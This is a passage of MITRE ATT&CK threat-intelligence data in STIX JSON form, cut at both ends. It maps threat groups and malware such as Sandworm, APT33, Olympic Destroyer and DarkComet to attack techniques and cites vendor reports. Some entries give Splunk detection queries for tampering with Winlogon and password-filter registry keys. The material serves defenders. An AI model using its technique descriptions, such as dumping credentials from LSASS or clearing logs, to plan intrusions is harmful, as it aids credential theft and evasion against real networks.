2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:25:46.094Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) encrypts instructions in its C2 network payloads using a simple XOR cipher.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e941da7d-9d23-4ada-b4ae-36f150d70087","created":"2020-06-10T21:56:40.245Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."},{"source_name":"ESET BlackEnergy Jan 2016","url":"https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."},{"source_name":"ESET Telebots June 2017","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."},{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has created VBScripts to run an SSH server.(Citation: ESET BlackEnergy Jan 2016)(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots June 2017)(Citation: Dragos Crashoverride 2018) ","modified":"2022-06-30T20:19:13.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9449844-2092-4f7d-9d8f-1ba50060e171","type":"relationship","created":"2021-09-21T15:14:19.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:14:19.860Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can check for the presence of 29 different antivirus tools.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e94576ee-284c-4782-a6ef-b7dd8a780254","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:45:41.091Z","description":"(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9475518-bc89-4120-9979-6a996b2de924","type":"relationship","created":"2021-08-24T20:03:35.993Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-12T12:59:03.341Z","description":"[Kobalos](https://attack.mitre.org/software/S0641)'s authentication and key exchange is performed using RSA-512.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e948752d-c4a1-4678-97e4-2bd11563115e","type":"relationship","created":"2019-04-10T15:21:29.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.360Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has attempted to exploit a known vulnerability in WinRAR (CVE-2018-20250), and attempted to gain remote code execution via a security bypass vulnerability (CVE-2017-11774).(Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e94afad2-4570-4f02-bad2-f0700027d719","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:29:06.331Z","description":"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)\n\nAnalytic 1 - Registry Edit with Modification of Userinit, Shell or Notify\n\nsource=\"*WinEventLog:Security\" EventCode=\"4657\" (ObjectValueName=\"Userinit\" OR ObjectValueName=\"Shell\" OR ObjectValueName=\"Notify\") OR source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\" (TargetObject=\"*Userinit\" OR TargetObject=\"*Shell\" OR TargetObject=\"*Notify\")","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e94d140f-9345-48bc-9fb9-f48a117e0739","created":"2019-04-17T13:46:38.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.417Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses ActiveX objects for file execution and manipulation. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e94dc1ba-678b-4c09-9c29-515a5d277ec4","type":"relationship","created":"2021-09-28T17:59:40.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.221Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can capture clipboard content.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e9500f3a-11d5-46f5-96d8-14313b95142e","created":"2022-12-12T15:52:38.082Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-12T15:52:38.082Z","description":"\n[KEYPLUG](https://attack.mitre.org/software/S1051) can use TCP and KCP (KERN Communications Protocol) over UDP for C2 communication.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e95155fd-7532-4848-881b-c4f1000c3675","created":"2024-02-13T18:00:52.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T19:10:41.966Z","description":"[RAPIDPULSE](https://attack.mitre.org/software/S1113) has the ability to RC4 encrypt and base64 encode decrypted files on compromised servers prior to writing them to stdout.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"malware--880f7b3e-ad27-4158-8b03-d44c9357950b","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://published-prd.lanyonevents.com/published/rsaus17/sessionsFiles/5009/HTA-F02-Detecting-and-Responding-to-Advanced-Threats-within-Exchange-Environments.pdf","description":"Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.","source_name":"RSA2017 Detect and Respond Adair"}],"modified":"2021-06-16T15:46:43.180Z","description":"(Citation: RSA2017 Detect and Respond Adair)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e961cbae-92dc-48bf-9284-440173292c44","created":"2023-08-04T18:44:22.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T20:47:00.720Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has inspected server logs to remove their IPs.(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e962f10c-55ce-4e2e-9ed5-2e88d3c138e7","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:00:12.612Z","description":"Monitor for changes to Registry entries for password filters (ex: `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages`) and correlate then investigate the DLL files these files reference.\n\nMonitor for changes to Registry entries for network providers (e.g., `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`) and correlate then investigate the DLL files these values reference.\n\nAnalytic 1 - Unauthorized modifications to Registry entries for password filters or network providers.\n\n index=wineventlog\n| eval suspicious_activity=if((EventCode=4657 AND (RegistryKeyPath=\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages\" OR RegistryKeyPath=\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\NetworkProvider\\\\Order\")) OR (EventCode=4663 AND AccessMask=\"0x2\" AND (ObjectName=\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Notification Packages\" OR ObjectName=\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\NetworkProvider\\\\Order\")), \"true\", \"false\")\n\nAnalytic 2 - Unauthorized modification of windows Registry keys may modify authentication mechanism\n\n sourcetype=WinEventLog:Security\n(EventCode=4657 OR EventCode=4663) \n| eval registry_path=mvindex(split(ObjectName,\"\\\\\"), 0, mvcount(split(ObjectName,\"\\\\\"))-1)\n| search registry_path IN (\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\", \n \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WDigest\\\\Parameters\", \n \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\",\n \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\SCHANNEL\")","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e966a89a-eef3-4be4-9ea1-ded6da1315cd","created":"2022-06-15T13:57:33.485Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T13:57:33.485Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e96ce602-76f7-4282-884c-be5fecf77980","created":"2024-09-04T17:17:37.918Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:17:37.918Z","description":"[Covenant](https://attack.mitre.org/software/S1155) can utilize SSL to encrypt command and control traffic.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e96e17e7-4349-4393-b875-5bab4e8ffa5a","type":"relationship","created":"2019-01-29T19:18:28.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"}],"modified":"2019-06-04T19:40:43.526Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) gathers the username from the victim’s machine.(Citation: TrendMicro DarkComet Sept 2014)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e973da87-1ff2-431e-9047-1a3d25fdd3ab","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e97a4938-63d3-4b3d-8b55-fb1ac55de96b","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e97a70d3-07b9-4254-973f-8566874676c6","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e97b39d6-7be1-4f59-8959-7f1f01402152","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2019-04-19T18:36:31.997Z","description":"The C2 server used by [XTunnel](https://attack.mitre.org/software/S0117) provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e98a5dc7-707a-4933-801a-b98b2e44b309","type":"relationship","created":"2020-05-06T15:26:38.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2022-03-25T15:47:13.925Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list open windows on the compromised host.(Citation: TrendMicro BlackTech June 2017)(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e98ae201-7492-4aef-9b17-6499956bbe2b","type":"relationship","created":"2022-03-07T20:28:08.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T20:28:08.399Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can decrypt and parse instructions sent from C2.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e99392ab-a2a4-4a41-ad3e-4ec136829733","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor Registry edits for modifications to services and startup programs that correspond to security tools.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e998971c-c944-4255-8831-89d49d0e5285","type":"relationship","created":"2019-03-25T15:05:23.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2020-03-19T23:53:41.504Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain credentials from LSASS, similar to [Mimikatz](https://attack.mitre.org/software/S0002). These credentials are used with [PsExec](https://attack.mitre.org/software/S0029) and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to help the malware propagate itself across a network.(Citation: Talos Olympic Destroyer 